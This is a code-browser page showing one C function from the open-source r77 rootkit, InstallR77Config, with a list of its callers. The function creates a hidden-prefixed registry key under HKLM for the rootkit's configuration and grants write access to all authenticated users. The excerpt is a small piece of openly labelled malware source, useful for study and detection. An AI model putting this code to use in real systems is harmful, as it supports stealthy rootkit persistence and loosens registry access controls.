MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / InstallR77Config

Function InstallR77Config

r77api/r77config.c:149–170  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

147 }
148}
149BOOL InstallR77Config()
150{
151 HKEY key;
152 if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_64KEY, NULL, &key, NULL) == ERROR_SUCCESS)
153 {
154 // Return TRUE, even if setting the DACL fails.
155 // If DACL creation failed, only elevated processes will be able to write to the configuration system.
156
157 PSECURITY_DESCRIPTOR securityDescriptor = NULL;
158 ULONG securityDescriptorSize = 0;
159 if (ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)", SDDL_REVISION_1, &securityDescriptor, &securityDescriptorSize))
160 {
161 RegSetKeySecurity(key, DACL_SECURITY_INFORMATION, securityDescriptor);
162 LocalFree(securityDescriptor);
163 }
164
165 RegCloseKey(key);
166 return TRUE;
167 }
168
169 return FALSE;
170}
171VOID UninstallR77Config()
172{
173 // Delete subkeys in HKEY_LOCAL_MACHINE\SOFTWARE\$77config

Callers 2

CreateConfigSystemFunction · 0.85
InitializeServiceFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected